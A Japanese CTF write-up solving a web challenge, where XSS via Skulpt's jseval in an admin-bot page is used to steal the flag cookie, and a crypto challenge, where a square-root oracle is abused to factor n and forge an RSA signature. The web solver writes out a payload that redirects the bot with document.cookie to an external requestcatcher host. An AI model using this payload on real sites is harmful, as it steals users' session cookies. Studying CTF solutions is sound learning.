[web] Sculpture Revenge
client side python is cool. adapted from actf 2025 to require the harder solve.
以下のようなbotが用意される。codeを渡すと、それを使ってGET /をしてくれる。
GET /bot
@app.route('/bot', methods=['GET']) def bot(): data = request.args.get('code', '🍃').encode('utf-8') data = base64.b64decode(data).decode('utf-8') parsed = urlparse(f"{request.host_url}") query_params = parse_qs(parsed.query) query_params["code"] = base64.b64encode(data.encode('utf-8')).decode('utf-8') new_query = urlencode(query_params, doseq=True) new_url = urlunparse(parsed._replace(query=new_query)) options = Options() options.add_argument("--headless") options.add_argument("--no-sandbox") driver = webdriver.Chrome(options=options) driver.get(f'{request.host_url}void') driver.add_cookie({ 'name': 'flag', 'value': flag.replace(".;,;.{", "").replace("}", ""), 'path': '/', }) print('[+] Visiting ' + new_url, file=sys.stderr) driver.get(new_url) driver.implicitly_wait(5) driver.quit() print('[-] Done visiting URL', new_url, file=sys.stderr) return make_response('Bot executed successfully', 200)
Cookieを抜ければよい。フロントエンドでは、Skulptというのを使ったpythonコード実行ができるようになっている。実装自体は公式ドキュメントにあるものとほとんど同じ。
index.html
<html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js" type="text/javascript"></script> <script src="https://skulpt.org/js/skulpt.min.js" type="text/javascript"></script> <script src="https://skulpt.org/js/skulpt-stdlib.js" type="text/javascript"></script> </head> <body> <script type="text/javascript"> // output functions are configurable. This one just appends some text // to a pre element. function outf(text) { var mypre = document.getElementById("output"); mypre.innerText = mypre.innerText + text; } function builtinRead(x) { if (Sk.builtinFiles === undefined || Sk.builtinFiles["files"][x] === undefined) throw "File not found: '" + x + "'"; return Sk.builtinFiles["files"][x]; } // Here's everything you need to run a python program in skulpt // grab the code from your textarea // get a reference to your pre element for output // configure the output function // call Sk.importMainWithBody() function runit() { var prog = document.getElementById("yourcode").value; var mypre = document.getElementById("output"); mypre.innerHTML = ''; Sk.pre = "output"; Sk.configure({output:outf, read:builtinRead}); (Sk.TurtleGraphics || (Sk.TurtleGraphics = {})).target = 'mycanvas'; var myPromise = Sk.misceval.asyncToPromise(function() { return Sk.importMainWithBody("<stdin>", false, prog, true); }); myPromise.then(function(mod) { console.log('success'); }, function(err) { console.log(err.toString()); }); } document.addEventListener("DOMContentLoaded",function(ev){ document.getElementById("yourcode").value = atob((new URLSearchParams(location.search)).get("code")); runit(); }); </script> <h3>Try This</h3> <form> <textarea id="yourcode" cols="40" rows="10">import turtle t = turtle.Turtle() t.forward(100) print "Hello World" </textarea><br /> <button type="button" onclick="runit()">Run</button> </form> <pre id="output" ></pre> <!-- If you want turtle graphics include a canvas --> <div id="mycanvas"></div> </body> </html>
どうやってXSSするかであるが、ライブラリを探すとjsevalというのが実装してあり、以下を試すとアラートが表示される。
jseval("alert(origin)")
あとは、Cookieを送るだけ。Admin Botの実装が、getした後すぐquitしてしまうのでfetchだと間に合わない。locationを使おう。
import base64 import requests payload = """jseval("location = 'https://[yours].requestcatcher.com/hoge?flag=' + document.cookie")""" encoded = base64.b64encode(payload.encode()).decode() target_url = f"https://web-sculpture-revenge-65wh78jf.smiley.cat/bot?code={encoded}" requests.get(target_url, timeout=10)
これを実行するとフラグが送られてくる。
[crypto] saas
Every ctf has to have a chall called 'saas'. Its just tradition.
以下のようなコードが与えられる。
#!/usr/local/bin/python from Crypto.Util.number import getPrime as gP from random import choice, randint p, q = gP(512), gP(512) while p % 4 != 3: p = gP(512) while q % 4 != 3: q = gP(512) n = p * q e = 0x10001 f = lambda x: ((choice([-1,1]) * pow(x, (p + 1) // 4, p)) * pow(q, -1, p) * q + (choice([-1,1]) * pow(x, (q + 1) // 4, q)) % q * pow(p, -1, q) * p) % n while True: try: l = int(input(">>> ")) % n print(f(l)) except: break m = randint(0, n - 1) print(f"{m = }") s = int(input(">>> ")) % n if pow(s,e,n) == m: print(open("flag.txt", "r").read()) else: print("Wrong signature!") exit(1)
lambdaで実装された関数fは、mod nで平方剰余を取る関数。p,qをまずはランダムに生成し、その後任意の入力に対して関数fの結果を取得することができる。ループを抜けた後、乱数mが与えられるので、s^e = m (mod n)のsが回答できればフラグがもらえる。
関数fの実装
f = lambda x: ((choice([-1,1]) * pow(x, (p + 1) // 4, p)) * pow(q, -1, p) * q + (choice([-1,1]) * pow(x, (q + 1) // 4, q)) % q * pow(p, -1, q) * p) % n
平方剰余を計算しているのだが、choice([-1,1])というのが気になる。これは平方剰余を計算すると±出てくるので、ランダムに±にしているというもの。これを使うと与えられていないnだけでなく、p,qの素因数分解もできる。
nを求める
f(1)の結果rは{1,n-1,a,b}の4通りになる。rは1の平方根であるため、r2=1 mod nを全て満たすことになる。変形するとr2-1 = 0 mod nとなり、r2-1を計算するとnの倍数になる。よって、r2-1のgcdを取ればnが抽出できそう。1は0になってしまうので、それ以外でr2-1をしてgcdを取ろう。
def get_roots(l): roots_of_one = set() for _ in range(100): io.sendlineafter(">>> ", "1") root = int(io.recvline().strip()) if root not in roots_of_one: roots_of_one.add(root) if len(roots_of_one) >= 3: break return list(roots_of_one) def get_n(): roots = get_roots(1) return gcd(gcd(roots[0]**2 - 1, roots[1]**2 - 1), roots[2]**2 - 1)
p,qに素因数分解
似たような方針で行こう。関数fをまた使おう。違うlで計算したときを考えてみる。この場合も同様に複数回取得してみると、複数個答えが返ってくる。例えば、f(l)=r1,r2と得られた場合は、r1^2 = r2^2を満たし、これを変形していくと、r1^2 - r2^2 = 0になり(r1 + r2)(r1 - r2) = 0となる。これは全てmod n上であるため、(r1 + r2)(r1 - r2)はnの倍数になっていることが分かる。nの倍数を少なくとも、2つの因数に分割していることになる。この分割にp,qが出てくることはないだろうかということを期待して、複数のlについて、結果を取得し、r1 + r2とr1 - r2についてそれぞれnとgcdを取るとpかqが取得できる。
def get_pq(n): for l in range(2, 100): roots = get_roots(l) if len(roots) >= 2 and roots[0] != roots[1]: # r[0] - r[1] でGCDを試す candidate = math.gcd(roots[0] - roots[1], n) if 1 < candidate < n: p = candidate q = n // p return p, q # r[0] + r[1] でGCDを試す candidate = math.gcd(roots[0] + roots[1], n) if 1 < candidate < n: p = candidate q = n // p return p, q return None, None
ループを脱出する
ここまででp,qが手に入ったので、解ける状態になった。
while True: try: l = int(input(">>> ")) % n print(f(l)) except: break
このループを抜けるためには空の入力を送ってやれば抜けることができる。
e乗根
最後はここだが、nは素因数分解できているので後はやるだけ。
m = randint(0, n - 1) print(f"{m = }") s = int(input(">>> ")) % n if pow(s,e,n) == m: print(open("flag.txt", "r").read()) else: print("Wrong signature!") exit(1)
ソルバー
総合的には以下のソルバーでフラグが手に入る。
from ptrlib import * import math #io = Process("python3 saas/chall.py") io = Socket("smiley.cat", 46177) def get_roots(l): roots_of_one = set() for _ in range(100): io.sendlineafter(">>> ", "1") root = int(io.recvline().strip()) if root not in roots_of_one: roots_of_one.add(root) if len(roots_of_one) >= 3: break return list(roots_of_one) def get_n(): roots = get_roots(1) return gcd(gcd(roots[0]**2 - 1, roots[1]**2 - 1), roots[2]**2 - 1) def get_pq(n): for l in range(2, 100): roots = get_roots(l) if len(roots) >= 2 and roots[0] != roots[1]: # r[0] - r[1] でGCDを試す candidate = math.gcd(roots[0] - roots[1], n) if 1 < candidate < n: p = candidate q = n // p return p, q # r[0] + r[1] でGCDを試す candidate = math.gcd(roots[0] + roots[1], n) if 1 < candidate < n: p = candidate q = n // p return p, q return None, None n = get_n() print(f"{n=}") p,q = get_pq(n) print(f"{p=}") print(f"{q=}") assert p * q == n, "Failed to recover p and q correctly!" io.sendlineafter(">>> ", " ") # break the roop m_line = io.recvline().decode().strip() m = int(m_line.split(" = ")[1]) e = 0x10001 pari.addprimes(p) pari.addprimes(q) s = mod(m, n).nth_root(e, all=True)[0] assert pow(s, e, n) == m, "Signature verification failed!" print(f"{s=}") io.sendlineafter(">>> ", str(s)) io.interactive()
